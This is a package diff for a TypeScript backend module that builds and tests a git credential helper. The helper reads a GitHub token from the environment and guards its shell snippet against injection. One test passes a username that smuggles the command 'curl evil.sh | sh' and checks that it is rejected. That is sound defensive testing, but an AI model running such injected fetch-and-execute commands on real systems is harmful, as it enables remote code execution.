@bevel-software/platform-core-backend 0.11.2 → 0.12.1

package/src/modules/kb-fs/__tests__/clone-config.test.ts

@@ -1,5 +1,11 @@
-import { describe, it, expect } from 'vitest';
-import { cloneTrackingConfigArgs, ORIGIN_FETCH_REFSPEC } from '../clone-config.js';
+import { describe, it, expect, afterEach } from 'vitest';
+import {
+  cloneCredentialArgs,
+  cloneCredentialConfigArgs,
+  cloneTrackingConfigArgs,
+  credentialHelperValue,
+  ORIGIN_FETCH_REFSPEC,
+} from '../clone-config.js';
 
 describe('cloneTrackingConfigArgs', () => {
   // A slashed draft name is the everyday case (`<email-localpart>/<slug>`), and
@@ -13,3 +19,58 @@ describe('cloneTrackingConfigArgs', () => {
     ]);
   });
 });
+
+describe('credential config', () => {
+  const ORIGINAL = process.env.GITHUB_TOKEN;
+  afterEach(() => {
+    if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
+    else process.env.GITHUB_TOKEN = ORIGINAL;
+  });
+
+  it('reads the token from the environment at call time, never inlining its value', () => {
+    process.env.GITHUB_TOKEN = 'ghp_supersecret';
+    const helper = credentialHelperValue('x-access-token');
+    expect(helper).toContain('password=$GITHUB_TOKEN');
+    expect(helper).not.toContain('ghp_supersecret');
+  });
+
+  it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
+    delete process.env.GITHUB_TOKEN;
+    expect(credentialHelperValue('x-access-token')).toBeNull();
+    // A fresh clone simply carries nothing…
+    expect(cloneCredentialArgs('x-access-token')).toEqual([]);
+    // …but an adopted clone may carry a helper from when a token WAS
+    // configured, and that stale helper (answering with an empty password)
+    // would shadow whatever auth the operator fell back to — so the repair
+    // path removes it. Callers run this tolerantly: unset of a missing key
+    // exits non-zero and is the expected no-op.
+    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+      ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
+    ]);
+  });
+
+  it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
+    process.env.GITHUB_TOKEN = 'ghp_x';
+    // Pinned exactly: `-c` here instead of `--config` still authenticates the
+    // clone but writes nothing into the new repo, which is the bug this guards.
+    expect(cloneCredentialArgs('oauth2')).toEqual([
+      '--config',
+      `credential.helper=${credentialHelperValue('oauth2')}`,
+    ]);
+  });
+
+  it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
+    process.env.GITHUB_TOKEN = 'ghp_x';
+    // The trailing value-pattern is what keeps an operator's own clone-local
+    // helper (store/cache/custom) out of reach of both the replace and the
+    // unset — git only touches values matching it.
+    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+      ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
+    ]);
+  });
+
+  it('refuses a username that would break out of the helper snippet', () => {
+    process.env.GITHUB_TOKEN = 'ghp_x';
+    expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
+  });
+});

package/src/modules/kb-fs/clone-config.ts

@@ -1,6 +1,13 @@
 /**
- * The git configuration a per-branch workspace clone must have for its branch
- * to track exactly ONE upstream ref.
+ * The git configuration a per-branch workspace clone must carry: the tracking
+ * config that pins its branch to exactly ONE upstream ref, and the credential
+ * helper its remote operations authenticate with.
+ *
+ * Both are stamped at clone time AND re-stamped when an existing clone is
+ * adopted from disk, so a clone created by an older build — or by a path that
+ * only authenticated its own invocation — is repaired rather than left broken.
+ *
+ * On the tracking half:
  *
  * Why this exists: a clone's config is append-only from git's point of view,
  * and several things write to it:
@@ -69,3 +76,91 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
     ['config', '--replace-all', `branch.${branch}.merge`, `refs/heads/${branch}`],
   ];
 }
+
+/**
+ * The inline credential helper a workspace clone authenticates its remote
+ * operations with, or null when the deployment has no git token configured.
+ *
+ * The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
+ * enters argv, the clone's `.git/config`, or any error message quoting either.
+ * `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
+ * `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
+ * publishes a token supplied through the setup screen to the same place — so
+ * this one name covers every way a token can arrive.
+ *
+ * The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
+ * Bitbucket `x-token-auth`); the token is always the Basic-auth password,
+ * which every major host accepts.
+ */
+export function credentialHelperValue(gitUsername: string): string | null {
+  if (!process.env.GITHUB_TOKEN) return null;
+  // Interpolated into a shell snippet that git will execute. `CoreConfig` and
+  // `DeploymentSettingsService` both reject a username outside this charset
+  // before it can get this far, so reaching the throw means an unvalidated
+  // fourth path appeared — fail closed rather than emit an injectable helper.
+  if (!/^[A-Za-z0-9._-]+$/.test(gitUsername)) {
+    throw new Error(`git username must match [A-Za-z0-9._-]+; got "${gitUsername}"`);
+  }
+  // printf '%s' rather than echo: POSIX leaves echo's handling of backslash
+  // escapes implementation-defined (dash interprets \c as "stop output"), so
+  // a token containing a backslash sequence could be silently truncated on
+  // the way to git. printf %s passes the bytes through verbatim. The literal
+  // `password=$GITHUB_TOKEN` stays in the snippet, which is what
+  // APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
+  // builds still match it and get replaced on the next stamp.
+  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
+}
+
+/**
+ * `git clone` arguments that PERSIST the credential helper into the repository
+ * being created. Position is load-bearing: these belong AFTER the `clone`
+ * subcommand, where `--config` means "write this into the new repo's config".
+ * The same pair placed BEFORE it is git's per-invocation `-c`, which
+ * authenticates that one clone and leaves the resulting repo with no helper at
+ * all — so every later `git push` from that clone prompts for a username,
+ * finds no tty, and dies. That was a real outage: a self-hosted deployment
+ * cloned fine, committed fine, and silently pushed nothing for two days.
+ *
+ * Empty when no token is configured, matching the un-authenticated clone the
+ * rest of the layer already supports.
+ */
+export function cloneCredentialArgs(gitUsername: string): string[] {
+  const helper = credentialHelperValue(gitUsername);
+  return helper ? ['--config', `credential.helper=${helper}`] : [];
+}
+
+/**
+ * `git` argument lists that bring a clone's credential helper into line with
+ * the deployment's current config — the repair path for clones on disk (see
+ * `cloneCredentialArgs`), applied wherever `cloneTrackingConfigArgs` is:
+ * `--replace-all` when a token is configured (idempotent re-stamp, stale
+ * values collapse), `--unset-all` when the deployment lost its token (a
+ * leftover helper answering with an empty password must not shadow whatever
+ * auth the operator fell back to; unset of a missing value exits non-zero
+ * and callers tolerate it — see `stampCredentialHelper`). Both operations
+ * are scoped by the value pattern below so only app-owned helpers are
+ * touched. Returns the arguments rather than running them, for the same
+ * reason `cloneTrackingConfigArgs` does.
+ */
+/**
+ * Value pattern (a POSIX ERE, as `git config`'s optional value-pattern
+ * argument expects) that matches ONLY helpers this application stamped —
+ * every one of ours reads `password=$GITHUB_TOKEN`, and no operator-authored
+ * helper has a reason to contain that literal. Scoping both the replace and
+ * the unset to it means an operator's own clone-local helper (`store`,
+ * `cache`, something custom) is never collapsed away or deleted by our
+ * stamping: git chains all configured helpers in order, so ours and theirs
+ * coexist.
+ */
+const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
+
+export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
+  const helper = credentialHelperValue(gitUsername);
+  // `--replace-all key value pattern` replaces every line MATCHING the
+  // pattern with the one value (adding it when none match) and leaves
+  // non-matching values — operator helpers — untouched. Same scoping on the
+  // unset: only app-stamped values are removed when the token goes away.
+  return helper
+    ? [['config', '--replace-all', 'credential.helper', helper, APP_HELPER_VALUE_PATTERN]]
+    : [['config', '--unset-all', 'credential.helper', APP_HELPER_VALUE_PATTERN]];
+}